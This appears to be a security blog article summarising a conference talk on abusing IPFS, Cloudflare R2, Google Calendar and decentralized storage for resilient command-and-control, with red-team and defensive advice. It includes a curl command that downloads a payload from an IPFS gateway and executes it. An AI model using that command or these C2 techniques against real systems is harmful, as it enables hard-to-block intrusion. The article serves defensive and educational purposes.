Weaponizing Distributed Storage for Resilient C2 Infrastructure

TLDR: Modern C2 infrastructure is shifting away from traditional VPS hosting toward decentralized storage and legitimate SaaS platforms to evade detection. By abusing services like IPFS, Cloudflare R2, and Google Calendar, attackers can host payloads and command queues that are nearly impossible to takedown. Security teams must move beyond simple domain-based blocking and start monitoring for anomalous API traffic patterns associated with these distributed services.

Attackers have spent years playing a game of cat-and-mouse with defenders over C2 infrastructure. We used to rely on cheap VPS providers, then we moved to domain fronting, and eventually, we started abusing legitimate cloud services. The latest research presented at DEF CON 2025 by Mauro Eldritch and Nelson Colón takes this evolution to its logical conclusion: if you want to build a C2 that never dies, stop hosting it yourself. Instead, hide it inside the infrastructure that the rest of the internet relies on to function.

The core concept here is simple but devastating. By using content-addressed storage like IPFS or object storage like Cloudflare R2, an attacker can distribute malicious payloads across a global network of nodes. Because these files are identified by their cryptographic hash rather than a specific server location, there is no single point of failure for a defender to target. You cannot simply "take down" a hash.

The Mechanics of Decentralized C2

The research highlights how these platforms can be repurposed for malicious operations. Take IPFS, for example. It is designed for decentralized file sharing, but it functions perfectly as a staging server for malware. When a payload is uploaded to IPFS, it is chunked and distributed. An attacker only needs to provide the hash to their implant, which then fetches the payload from the nearest available node.

The speakers demonstrated this by creating a proof-of-concept where an implant fetches a payload from IPFS, decodes it, and executes it in memory. The command-and-control traffic itself is disguised as legitimate requests to these services. If you are a defender, your logs show a connection to a reputable IPFS gateway or a Cloudflare endpoint. Unless you are performing deep packet inspection on the encrypted payload or monitoring for highly specific, anomalous API request patterns, this traffic blends in perfectly with the noise of a modern enterprise network.

Consider the following command used to fetch a payload from an IPFS node:

curl -s https://ipfs.io/ipfs/<CID_HASH> -o payload.bin
./payload.bin

This is the baseline. The real sophistication comes when you combine this with services like Google Calendar. By creating an event and hiding the C2 instructions or the next stage of the payload within the event description, an attacker can maintain a persistent, low-and-slow communication channel. Since Google Calendar is a trusted service in almost every corporate environment, blocking it is rarely an option for IT departments.

Abusing Trust in SaaS Platforms

The most interesting part of this research is the abuse of trust. When you use a service like Cloudflare R2, you are piggybacking on their massive, global infrastructure. If a defender tries to block the traffic, they risk breaking legitimate business applications that also rely on Cloudflare. This is a classic Broken Access Control scenario, but applied to the infrastructure layer rather than the application layer.

The speakers also introduced Codex, a decentralized storage solution that integrates directly with the blockchain. Unlike centralized cloud storage, Codex is built to be censorship-resistant. It requires no identity, no account, and no central authority to manage the data. For a red teamer, this is the holy grail of persistence. You can upload your beacon configuration, and it will be replicated across the network, ensuring that even if one node goes offline, your C2 remains reachable.

Practical Implications for Pentesters

During a red team engagement, you should be testing whether your client's egress filtering can distinguish between legitimate use of these services and malicious abuse. Most organizations have a "allow-list" for major cloud providers. If you can demonstrate that you can exfiltrate data or pull down second-stage payloads through these channels, you have successfully bypassed their primary perimeter defenses.

When you are on the box, look for processes that are making frequent, small requests to public gateways or API endpoints for these services. The traffic will look like standard HTTPS, but the frequency and the nature of the data being exchanged will be the tell. If you see a workstation making repeated requests to an IPFS gateway or polling a specific Google Calendar event, you have likely found a C2 channel.

Defensive Strategies

Defending against this is not about blocking the services themselves, which is a losing battle. Instead, focus on behavioral analysis. You need to baseline what "normal" traffic looks like for your environment. Does your HR department need to access IPFS gateways? Probably not. Does your marketing team need to poll specific, obscure Google Calendar events every 30 seconds? Unlikely.

Implement strict egress filtering that limits access to these services to only the necessary business units. Use TLS inspection to look for the actual content of the requests if your privacy policy allows it. Most importantly, stop treating "cloud-hosted" as synonymous with "safe." The infrastructure is secure, but the way it is being used is entirely up to the user, and in this case, the user is an attacker.

The shift toward decentralized and SaaS-based C2 is not a temporary trend. It is a fundamental change in how offensive operations are conducted. If you are still relying on static IP blacklists to protect your network, you are already behind. Start looking at the traffic patterns, start questioning the necessity of these services in your environment, and start preparing for a world where the attacker's infrastructure is as distributed as your own.